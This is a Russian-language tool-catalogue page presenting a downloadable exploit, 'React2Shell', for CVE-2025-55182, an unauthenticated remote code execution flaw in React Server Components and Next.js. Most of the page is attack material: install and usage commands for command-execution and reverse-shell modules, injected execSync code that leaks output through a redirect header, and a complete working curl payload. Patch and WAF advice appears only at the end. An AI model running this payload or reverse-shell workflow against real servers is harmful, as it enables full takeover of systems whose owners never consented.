Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2Shell-CVE-2025-55182 — CVE-2025-55182 — Неаутентифицированное RCE в React Server Components (React2Shell). Эксплойт с CVSS 10.0 для авторизованного тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/speatx/react2shell-cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
speatx/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

CVE-2025-55182 — Неаутентифицированное RCE в React Server Components (React2Shell). Эксплойт с CVSS 10.0 для авторизованного тестирования на проникновение.

Репозиторий
12 месяцев назадЕщё не проверено

CVE-2025-55182 — React2Shell

Неаутентифицированное RCE в Server Components React через небезопасную десериализацию протокола Flight. Одного HTTP-запроса достаточно для выполнения произвольного кода на сервере — никаких учётных данных, никакого предварительного доступа не требуется.

root@kitploit:~
   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components — Flight Protocol RCE
               CVE-2025-55182  ·  CVSS 10.0
           Author: SpeatX  ·  OSCP Style  ·  v1.0

CVE-2025-55182 · CVSS 10.0 · неаутентифицированное · Pre-auth RCE · раскрыто 3 декабря 2025

Затрагивает React 19 (≤ 19.2.0) и любое приложение Next.js, использующее Server Actions. Конфигурации по умолчанию уязвимы — не требуется никакого пользовательского кода на стороне цели.

Затрагиваемые версии

ПакетУязвимыеИсправленные
react-server19.0.0 → 19.2.019.3.0+
nextвсе с React 19 без исправлений15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

Установка

root@kitploit:~
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

Требуется Python 3.8+. Других зависимостей нет.


Использование

root@kitploit:~
python exploit.py <module> -t <target> [options]
root@kitploit:~
Modules:
  check      Снять отпечаток цели и подтвердить уязвимость
  exec       Выполнить одиночную команду ОС и прочитать вывод
  revshell   Отправить обратную оболочку на ваш слушатель

Options:
  -t, --target URL      URL цели
  -c CMD                Команда для выполнения  (exec module)
  --lhost IP            Ваш IP  (автоопределение из tun0, если не задано)
  --lport PORT          Порт для прослушивания  (по умолчанию: 4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node  (по умолчанию: bash)
  --proxy URL           Маршрутизация через прокси  (например, http://127.0.0.1:8080)
  --random-agent        Смена User-Agent при каждом запросе
  --timeout N           Тайм-аут запроса  (по умолчанию: 15)

Рекомендуемый рабочий процесс — всегда начинать с check:

root@kitploit:~
# 1. Подтвердить, что цель уязвима
python exploit.py check -t http://10.10.11.50

# 2. Запускать команды для разведки или захвата флагов
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. Получить оболочку, когда нужна интерактивность
#    (сначала запустите слушатель: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

Поддержка прокси и случайный User-Agent работают с любым модулем:

root@kitploit:~
python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

Справка по модулю: python exploit.py <module> --help


Как это работает

Предыстория

Server Components React взаимодействуют с помощью внутреннего потокового формата, называемого Flight protocol. Когда браузер вызывает Server Action, он отправляет POST-запрос multipart/form-data к корню приложения с заголовком Next-Action. Сервер передаёт тело пакету react-server для десериализации, прежде чем делать что-либо ещё — включая проверку идентификатора действия.

root@kitploit:~
Browser                         Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: poisoned Flight chunk      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← уязвим
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  вывод здесь

Ошибка

Внутри resolveModelToJSON() десериализатор обходит входящий JSON-чанк. Когда он встречает объект со свойством then, он обрабатывает его как Promise и ожидает его разрешения — это ожидаемое поведение для асинхронных Server Components. Проблема: не выполняется никакой проверки, чтобы подтвердить, что thenable поступил из доверенного источника.

Атакующий внедряет поддельный чанк в multipart-тело, содержащий свойство then, которое указывает на require('child_process').execSync(...). React ожидает его, команда ОС выполняется.

Почему Next-Action: x срабатывает

В продакшене Server Actions идентифицируются SHA-хэшем. Сервер должен проверять это перед обработкой. Но декодер Flight запускается до этой проверки — то есть любой POST с заголовком Next-Action, даже с полностью поддельным значением, например x, запускает уязвимый путь десериализации. Действительный ID действия не требуется.

Извлечение вывода

Внедрённый код захватывает вывод команды и выбрасывает сконструированную ошибку NEXT_REDIRECT:

root@kitploit:~
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js перехватывает это и преобразует в 307 Temporary Redirect, встраивая digest в заголовок ответа X-Action-Redirect. Вывод команды приходит в URL-кодировке:

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

Ручная эксплуатация с помощью curl

root@kitploit:~
curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

Вывод находится в заголовке X-Action-Redirect, URL-кодированный после /login?a=.


Исправление

root@kitploit:~
npm install react@latest react-dom@latest next@latest

Минимально безопасные: react-server ≥ 19.3.0 · next ≥ 15.3.6

Если немедленное исправление невозможно:

  • Установите experimental: { serverActions: false } в next.config.js
  • Заблокируйте заголовок Next-Action на уровне обратного прокси
  • Правило WAF: отклонять POST-тела, содержащие NEXT_REDIRECT или __proto__

Ссылки

  • NVD — CVE-2025-55182
  • Wiz Research
  • OffSec
  • Microsoft MSTIC
  • Google GTIG

Только для авторизованного пентестинга и образовательных целей.

Скачать инструмент